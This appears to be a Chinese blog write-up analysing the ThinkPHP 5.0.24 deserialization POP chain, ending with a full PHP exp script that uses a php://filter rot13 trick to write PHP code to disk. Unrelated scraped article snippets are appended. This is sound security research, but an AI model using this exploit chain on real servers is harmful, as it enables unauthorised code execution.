thinkphp5.0.24反序列化漏洞分析

2023-10-26

thinkphp5.0.24反序列化漏洞分析

thinkphp5框架:

image-20220615000257518

thinkphp5的入口文件在public\index.php,访问

http://192.168.64.105/thinkphp_5.0.24/public/index.php

image-20220615000539160

具体分析

反序列化起点

写一个反序列化入口点

image-20220615001131637

全局搜索__destruct()函数

image-20220615001115342

\thinkphp_5.0.24\thinkphp\library\think\process\pipes\Windows.php中的__destruct()函数,调用了removeFiles()

image-20220615001339350

跟进removeFiles(),第163行的file_exists可以触发__toString方法

image-20220615001418986

全局搜索__toString方法

thinkphp\library\think\Model.php的第2265行,发现其调用了toJson方法

image-20220616230519422

跟进toJson,发现其调用了toArray()方法(在Model.php中)

image-20220616230630861

toArray

跟进toArray,发现其有三处可以调用__call方法(就是整一个可以控制的类对象,然后让其调用该类不存在的方法,然后触发__call魔术方法)

__call(),在对象中调用一个不可访问方法时调用。

image-20220616231036322

着重看第三处,也就是第912行,这个需要我们控制$value变量

这个$value变量是根据 $value = $this->getRelationData($modelRelation);而来的

getRelationData分析

跟进getRelationData方法,注意参数$modelRelation需要是Relation类型的,该方法也是thinkphp\library\think\Model.php中定义的

image-20220616235535073

如果我们让if满足,那么$value=$this->parent,看三个条件

  1. $this->parent存在且可控
  2. 第二个条件!$modelRelation->isSelfRelation(),跟进isSelfRelation()方法,该方法在thinkphp\library\think\model\Relation.php中定义,返回$this->selfRelation,可控

image-20220617230450476

  1. 第三个条件get_class($modelRelation->getModel()) == get_class($this->parent),也就是

跟进getModel()函数,该函数在thinkphp\library\think\model\Relation.php,返回$this->query->getModel(),其中$query可控

image-20220617230828281

所以我们要查哪个类的getModel()可控,最后找到了thinkphp\library\think\db\Query.php的getModel方法,该方法返回$this->model,并且$this->parent可控

image-20220617231051519

三个条件都满足,执行$value = $this->parent; return $value;,也就是\think\console\Output

该函数分析到这里

$modelRelation生成

上面分析了函数的执行过程,接下来分析我们怎么能传入一个Relation类的$modelRelation参数

发现$relation()函数是根据$relation的值进行调用的,需要满足if条件method_exists

image-20220617231704327

跟进Loader::parseName瞅一瞅,这个函数也只是对传入的$name进行了一些大小写的替换,没有一些很严格的过滤操作,因为$name可控,所以$relation可控

image-20220617232020032

在$relation可控的前提下,要满足这个method_exists,则需要将$relation设定为$this(也就是thinkphp\library\think\Model.php)中存在的方法

if (method_exists($this, $relation))

这里选择getError,因为其不仅在Model类中定义,且error可控

在这里插入图片描述

所以我们只要设置了$error,那么其值就会通过 $modelRelation = $this->$relation();传给$modelRelation ,因为relation()也就是 Error(),所以就是$modelRelation = $this->Error(),即$modelRelation = $error

modelRelation分析到这里,而我们传的$error是什么,接下来会分析,其实就是HasOne

进入__call前的两个if

接下来要分析两个if条件

image-20220617233102696

我们看第一个if,要满足 m o d e l R e l a t i o n 这 个 类 中 存 在 g e t B i n d A t t r ( ) 函 数 , 而 且 下 一 个 ‘ modelRelation这个类中存在getBindAttr()函数,而且下一个` modelRelationgetBindAttr()bindAttr`是该函数的返回值

全局搜索getBindAttr

image-20220617233345853

image-20220620155134075

其在OneToOne.php中定义,该类是个抽象类,且OneToOne类是Relation类的派生类,其$this->bindAttr可控

我们搜索继承OneToOne的类,发现HasOne类,所以可以让$modelRelation的值为HasOne,这个也满足getRelationData()传入的是Relation类对象的要求,并且bindAttr可控,满足第二个if条件,简直完美!!!

image-20220617233841235

其实下面还有一个if,但是我们简单看下,将$bindAttr的键值对中的键给$key,然后进行isset判断,当已经定义才满足if,我们要进入的是不满足if条件的时候

image-20220617234621780

__call

然后进入__call,要选择一个能写webshell的类的__call方法,选择了thinkphp\library\think\console\Output.php

所以上面的$value应该是一个thinkphp\library\think\console\Output.php类对象

image-20220617114358393

在这里 m e t h o d 和 method和 methodthis->styles是可控的,array_unshift()对调用block()方法没有影响,可以执行block方法,跟进Output的block方法

image-20220617114621530

跟进writeln方法

image-20220617114702866

跟进write方法

image-20220617114808021

handle属性可控,所以全局搜索write方法

thinkphp\library\think\session\driver\Memcached.php的write方法

image-20220617114921780

而$this->handler可控,所以全局搜索可用的set方法

虚假的写文件

thinkphp\library\think\cache\driver\File.php中,set方法可以使用file_put_contents写文件,第158行的exit可以使用伪协议进行绕过

image-20220617194846677

初步来看可以利用file_put_contents来写文件,我们跟入 d a t a 和 data和 datafilename,看 d a t a 与 data与 datafilename是否可控

  1. $filename的值是由getCacheKey()方法决定的,跟进getCacheKey,可以知道filename的后缀名是php,是写死的,文件名部分可控

image-20220618001440689

  1. 跟进$data,发现$data是已经被写死了,$value的值只能为true

image-20220617201921089

所以就是file_put_contents可以写文件,但是内容不可控

setTagItem

所以继续看set接下来的代码,调用了setTagItem()

image-20220617202106451

进入thinkphp\library\think\cache\Driver.phpsetTagItem方法,(注意File类继承了Driver类,但是Driver是一个抽象类)并且会再执行一次set方法,这一次$key是由$this->tage而来,可控;$value由$name而来,也是可控的

在这里插入图片描述

但是windows对文件名有相应的要求,所以复现不容易

绕过exit

上面已经分析得很详细了,这里简单调试分析一下

到$value

image-20220621201707779

到set方法这里,着重看一下,第一次整的时候,直接报错了,转到异常处理了,

image-20220621202647751

这里是因为我的文件名不符合要求,所以先随便写一个,看接下来怎么走

随便写一个之后,走到setTagItem()这里,这里$tag是可控的,所以$key是可控的

image-20220621203338705

这个第二次调用set函数,$key可知,$value可控

image-20220621230309625

放在linux运行,生成了对应的文件

image-20220621232215812

查看

image-20220621232244578

这里虽然看着是加了',但是其实并没有,注意访问的时候,将?进行url编码一下

注意需要将php的short_open_tag设为Off,不然会将<??>之间的内容识别为php代码,但是<? 之后是cuc,不符合语法,所以报错

image-20220622085044431

exp

<?php

namespace think\process\pipes;
use think\model\Pivot;
abstract class Pipes
{}
//Windows类中有$files数组 通过file_exists触发__toString方法
class Windows extends Pipes{
        private $files = [];    //$files是个数组
        public function __construct()
        {
            $this->files = [new Pivot()];   //触发Model类的toString()方法,因为Model是一个抽象类,所以选择其派生类Pivot
        }
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
# Model抽象类
namespace think;
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;#修改处
    protected $selfRelation;
    protected $query;
    protected $aaaaa;

    function __construct(){
        $this->parent = new Output();       //调用__call()
        $this->append = ['getError'];       //会用foreach将append中的值传给$name,传给$relation,调用getError(),将下面的error传给$modelRelation
        $this->error = new HasOne();       //最后传给$modelRelation
        $this->selfRelation = false;    //isSelfRelation()
        $this->query = new Query();     //用于判断getRelationData()中if条件的第三个

    }
}
#Relation抽象类 之后的Output是Relation的派生类
namespace think\model;  
use think\db\Query;
abstract class Relation{
    protected $selfRelation;
    protected $query;
    function __construct(){
        $this->selfRelation = false;  # 这个用于判断getRelationData()中if条件的第二个
        $this->query = new Query();#class Query
    }
}
#OneToOne HasOne  用于传给$modelRelation,主要是用于满足if条件,进入value->getAttr()
namespace think\model\relation;
use think\model\Relation;   
abstract class OneToOne extends Relation{ # OneToOne抽象类
    function __construct(){
        parent::__construct();
    }
}
// HasOne
class HasOne extends OneToOne{
    protected $bindAttr = [];
    function __construct(){
        parent::__construct();
        $this->bindAttr = ["no","123"]; # 这个需要动调,才能之后为什么这么写,待会说    
    }
}



#Output  进入Output->__call()
namespace think\console;
use think\session\driver\Memcached;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->handle = new Memcached();   //目的调用Memcached类的write()函数
        $this->styles = ['getAttr'];   # 这是因为是通过Output->getAttr进入__call函数,而__call的参数中$method是getAttr
    }
}

#Query
namespace think\db;
use think\console\Output;
class Query{
    protected $model;
    function __construct(){
        $this->model = new Output();  //判断getRelationData()中if条件的第三个
    }
}
#Memcached
namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
    protected $handler = null;
    function __construct(){
        $this->handler = new File();    //目的是调用File->set()
    }
}
#File
namespace think\cache\driver;
class File{
    protected $options = [];
    protected $tag;
    function __construct(){
        $this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>',    //
        'data_compress' => false,
        ];
        $this->tag = true;
    }
}


use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

pop链图

这里借用一下osword师傅的图

img

解决windows下的文件名问题

我们注意到,在原有的链子中,我们在thinkphp\library\think\session\driver\Memcached.php中将$this->handler设置为File类对象,目的是调用File.php的set()方法

但是也可以将$this->handler设置为thinkphp\library\think\cache\driver\Memcached.php中的Memcached类对象,注意这两个php文件是不一样的,其也有一个set方法

第114行也有一个set方法,且handler可控

image-20220622000757213

看这个getCacheKey()函数,这个options可控,所以返回值可控

image-20220622000923068

所以$key可控,但是我们前面分析过了,这个$value不可控,所以还是要进115行的setTagItem()函数,跟进,它还是在Driver.php中定义的,这里根据前面的分析,$key和$value都是可控的,且没有那个<>?这样的特殊符号的影响

image-20220622001606288

详细参考:Thinkphp5.0.24反序列化漏洞分析与利用 - Yhck - 博客园 (cnblogs.com)

参考链接

  1. ThinkPHP5.0.x 反序列化_H3rmesk1t的博客-CSDN博客_thinkphp反序列化
  2. Thinkphp5.0.24反序列化漏洞分析与利用 - Yhck - 博客园 (cnblogs.com)
  3. thinkphp v5.0.24 反序列化利用链分析_kee_ke的博客-CSDN博客_thinkphp v5.0.24
  4. [(1条消息) 省信息安全技术大赛]Web4_沫忆末忆的博客-CSDN博客
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

thinkphp5.0.24反序列化漏洞分析 的相关文章

  • 如何使用 Jersey for java 在浏览器中呈现新的 .jsp 文件?

    我的网站进入一个登录页面 当用户登录时我想重定向到另一个页面 我有一个 POST 方法 将 用户名 和 密码 发送到服务器 服务器检查用户名和密码是否正确存在 这是我的方法 POST Path logIn public void signI
  • 由 Android 应用程序和网站共享的关系数据库 - 最简单的方法

    我有一个项目 我将开发一个 Android 应用程序和一个网站 他们都应该共享相同的数据库 我正在尝试探索所有选项 但我真的很困惑 这是我的要求 1 我需要一个非常简单且EASY方式 我并不是想学习 我只是想学习 我只是想把事情做好 2 数
  • IE 中文本大小列表的实际像素是多少?

    与 IE 中的以下文本大小列表相比 实际字体大小 以像素为单位 是多少 Largest Larger Medium Smaller Smallest 在 Web 应用程序中 我需要提供类似的行为 通过选择上面列表中的任何一个来设置应用程序控
  • 未访问请求数据时出现 Flask 405 错误且路径有效

    当我实际上没有对连续的相同请求使用请求正文时 我收到 405 错误 Example app Flask name CORS app app route login methods POST def login return jsonify
  • 为什么我的 WebClient 大多数时候会返回 404 错误,但并非总是如此?

    我想要获取有关我的程序中的 Microsoft 更新的信息 但是 服务器在大约 80 的情况下会返回 404 错误 我将有问题的代码归结为这个控制台应用程序 using System using System Net namespace W
  • 是什么让某些东西成为 ASP.NET Core 中的请求功能?

    ASP NET Core 有一点我相信我还没有完全理解 那就是请求功能的想法 正如中所解释的the docs https docs asp net en latest fundamentals request features html 功
  • 如何使用 FastAPI 返回 HTMLResponse

    是否可以在端点显示 HTML 文件 例如用户正在访问的主页 是的 FastAPI 可能有HTMLResponse 您可以返回一个HTMLResponse from fastapi import FastAPI from fastapi re
  • 客户端语言

    我不是网络程序员 所以请原谅我的无知 当谈到服务器端编程时 我们有很多可用的技术 例如 PHP ASP net JSP 等 然而 说到客户端脚本 我只听说过 JavaScript 和 AJAX 也许您还可以包含 Java Applet 因为
  • Facebook 好友对话框无法在移动设备上运行

    序幕 我遇到了与之前提出的问题中描述的相同的问题 FB 在移动设备上添加好友对话框不起作用 https stackoverflow com questions 17230231 fb add friend dialog on mobile
  • 如何使用Python获取请求中响应的原始内容?

    尝试获取HTTP响应内容的原始数据requests在Python中 我有兴趣通过另一个渠道转发响应 这意味着理想情况下内容应该尽可能原始 这样做的好方法是什么 After requests get 您可以使用r content提取原始字节类
  • Django 中的 Meta 到底是什么?

    我想简单地知道 Django 中的 Meta 类是什么以及它们的作用 from django db import models Class Author models Model first name models CharField ma
  • 在 Foundation 中动态设置 Sass 变量

    如何在 Foundation 中动态设置 Sass 变量 根据他们的文档 http foundation zurb com docs components tables html 您可以借助一些 Sass 变量来自定义表格 settings
  • 使用 ruby​​ on Rails 向静态网站添加功能

    我是 ruby on Rails 的新手 我有一个包含很多静态页面的网站 我想向网站添加一些动态页面 我将在 ruby on Rails 中开发这些页面 当用户单击静态页面之一上的按钮之一时 将触发这些页面提供的功能 我想我将把动态页面放在
  • REST API 与 Web API

    我是构建 HTTP API 的初学者 我似乎对 REST API 和 Web API 之间的区别感到困惑 我在网上读到更多相关内容 困惑似乎越来越多 我猜菲尔丁有与此链接相同的问题http roy gbiv com untangled 20
  • 网页编码,设置矛盾[重复]

    这个问题在这里已经有答案了 如果一个网页有 但http标头有 Content Type text html charset UTF 8 那么假设什么编码呢 在 HTML5 中 优先级定义为 用户浏览器设置 字节顺序标记 HTTP 标头 or
  • IIS 6 网站根目录与应用程序?解决Url()?

    IIS 6 ASP NET 3 5 C NET 我们遇到一个问题 即同一组文件的行为会有所不同 具体取决于它是根 IIS 网站还是 IIS 网站下的应用程序 使用生成的网址解析网址 http msdn microsoft com en us
  • 当url中有空格时htaccess重定向

    我想从仍然出现在谷歌搜索中的旧网址重定向到新网址 旧的网址是这样的 http www marionettecolla org file 20 mostra milano mostra marionette milano htm 我想将其重定
  • 创建默认应用程序时 FirebaseOptions 不能为 null

    我正在尝试在 Flutter 集成电子邮件和基于 google 的登录中尝试一个示例项目 并计划使用 firebase 初始化来执行此操作 同时我已按照教程中提到的所有步骤进行操作 一旦尝试使用 firebase 我就会收到此错误已初始化
  • JavaScript 中的对象解构[重复]

    这个问题在这里已经有答案了 gt a a true Statement lt a true 上面的语句是赋值true to a 为什么上面的语句在chrome控制台中没有报错 虽然下面的语句给出了错误 gt a a true Stateme
  • 使用节点http代理转发http代理

    我正在使用 node http proxy 库来创建转发代理服务器 我最终计划使用一些中间件来动态修改 html 代码 这就是我的代理服务器代码的样子 var httpProxy require http proxy httpProxy c

随机推荐

  • 单线程 JavaScript 的异步机制与经典 for 循环面试题

    从一个经典的 for 循环问题开始 for var i 1 i lt 5 i setTimeout function timer console log i i 1000 输出是 每隔1秒 输出一个6 共5次 原理 这样的输出 是由 Jav
  • 逆矩阵的性质

    矩阵的逆矩阵具有许多有用的性质 1 如果MM 1 I 则M 1M I 2 M1M2 1 M2 1M1 1 3 M 1 1 M 4 M 1 1 M 1 0 说明 M 1 表示矩阵M的逆 摘自 lt lt 计算机图形学几何工具算法详解 gt g
  • 测试工作内容(一)---需求分析

    当我们要做一个项目时 不管项目是一个大的软件 还是一个小的功能模块 我们在执行之前都要搞清楚 这个项目是做什么的 将会实现哪些功能需求 在时间点范围内需要我们做什么 做哪些工作 所追溯的就是需求 需求分析都需要做哪些事情 怎样做 包括以下四
  • JAVA注释

    单行注释 单行注释 多行注释 多行注释 文档注释 文档注释 放在类定义 方法 field 内部类之前才有效 此行前面这个星号只是为了好看 只有第一行和最后一行的 和 才有效 文档注释可以被javadoc命令抽取出api文档格式 javado
  • 木马编程-手把手带你进入木马的世界之木马编程

    一 基础知识 1 1 木马病毒 木马 Trojan 这个名字来源于古希腊传说 荷马史诗中木马计的故事 Trojan一词的本意是特洛伊的 即代指特洛伊木马 也就是木马计的故事 木马会想尽一切办法隐藏自己 主要途径有 在任务栏中隐藏自己 这是最
  • 希尔排序

    目录 一 原理 二 示例代码 三 算法分析 希尔排序又称为缩小增量排序 是直接插入排序算法的一种更高效的改进版本 希尔排序是基于插入排序的以下两点性质而提出改进方法的 插入排序在对几乎已经排好序的数据操作时 效率高 即可以达到线性排序的效率
  • WebGL加载跨域纹理的解决方法

    本人一直对WebGL很有兴趣 也试着尝试用osgjs写了个DEMO 很成功的出现了效果 可是当自己用ASP net写了个服务端 想用自己写的服务器提供的数据来用做纹理 可是怎么也不出来 还报错 跟了下代码 发现是用作纹理的Image对象的问
  • 华为 5G、阿里检测病毒算法、腾讯 AI 一分钟诊断,国内抗疫科技大阅兵!

    作者 马超 责编 王晓曼 伍杏玲 出品 CSDN ID CSDNnews 近期以来 国际风云不断变换 而在2020年初疫情肆虐期间 也成为我国科技实力的 大检阅 近期人民网官微致敬我们中国科技企业的排头兵 可以说掌握硬核科技成了全民的共识
  • Metasploit(MSF)基础超级详细版

    MSF基础学习看这一篇就够了 Metasploit 常见名词解释 MSF简介 MSF框架结构 MSF配置数据库 内网主机发现 MSF命令查询 常用命令 数据库管理命令 核心命令 模块命令 进程命令 资源脚本命令 后台数据库命令 后端凭证命令
  • 假如“唐僧团队”裁员,你会先裁掉哪一位

    相信很多人看过水煮三国 大话西游 文中去西天取经的4人被影射成一个团队 其中 唐僧是TeamLeader 性格坚韧 目的明确 讲原则 懦弱没主意 孙悟空是团队中那个创意员工 业绩突出却个性极强 屡屡得罪人 猪八戒就好比那为人圆滑 偏偏干活时
  • 【ESP系列】AT指令案例

    前言 ESP系列芯片具有高性价比的联网功能 广受大家的认可 然而 在开发过程中 有时候我们想要使用ESP系列芯片的联网功能 却又不想为此编写繁杂的联网逻辑 串口交互逻辑等等 此时 我们可以运用AT指令来实现简洁的联网控制 本文将介绍这种基于
  • linux命令之查看jvm内存使用情况

    linux命令之查看jvm内存使用情况 1 使用 ps ef grep java 查询java的进程ID 2 使用jstat命令查看堆内存的使用情况 1 垃圾回收统计 jstat gc 进程ID 参数解释 S0C 第一个幸存区的大小 S1C
  • 【vue-treeselect】数据量大的时候懒加载并且可以搜索,树懒加载+搜索

    这两天快被这个懒加载加搜索搞崩溃了 今天小有收获 后面优化了再更新 主要说一下一棵树如何懒加载和搜索 1 ref不解释了 和本次代码无关 2 normalizer格式化内容不重要 3 load options很关键 4 search cha
  • Qt5 C++源码中使用中文的简单步骤

    本文不讲任何道理 当你在Qt5的C 源文件内使用中文时 你只需按顺序简单照做即可 不止是中文 其实你完全可以在代码中使用日韩法俄语等等各国语言 0 通用 源文件保存为带BOM的UTF 8格式 如果你准备跨平台 保存为带BOM的UTF 8是必
  • 计算机迭代步数英语,迭代计算

    迭代法是数值计算中一类典型方法 应用于方程求根 方程组求解 矩阵求特征值等方面 其基本思想是逐次逼近 先取一个粗糙的近似值 然后用同一个递推公式 反复校正此初值 直至达到预定精度要求为止 1 迭代计算次数指允许公式反复计算的次数 在Exce
  • 毕业设计记录(二):基于VUE框架与ECharts和Axios技术结合的Web移动高校实验室管理系统设计与实现

    目录 点击即跳转 参考文献阅读笔记 空间信息与规划系实验室情况统计表 毕业设计进度 前端设计 登陆界面 未美术优化 参考文献 总 参考文献阅读笔记 2 甄翠明 李克 基于Web的高校计算机实验室预约管理系统的研究与设计 J 现代信息科技 2
  • 【速度↑20%模型尺寸↓36%】极简开源人脸检测算法升级

    经过一年的各种尝试 调试 测试以及无数次失败 我们的开源人脸检测算法再次升级 我们团队专注人脸检测优化十几年 一直持续优化 向着最简单的算法努力 新版本提升 计算量更小 速度提升约20 模型尺寸精简36 85K参数降低至54K 准确率有所提
  • so库的反编译,反汇编

    Linux APP SO的反汇编工具 ida Pro 可以反汇编app和SO库 有函数名 但是不能反编译到code这一级别 下载最强的反编译工具 ida Pro 6 4 Plus rar 还有这个反汇编工具 没用过 转自 http bbs
  • protobuf的序列化和反序列化的分析

    一 protobuf的optional 数据类型序列化分析 1 optional 的protobuf的文件 格式 syntax proto2 message test proto optional int32 proto1 1 option
  • thinkphp5.0.24反序列化漏洞分析

    thinkphp5 0 24反序列化漏洞分析 文章目录 thinkphp5 0 24反序列化漏洞分析 具体分析 反序列化起点 toArray getRelationData分析 modelRelation生成 进入 call前的两个if c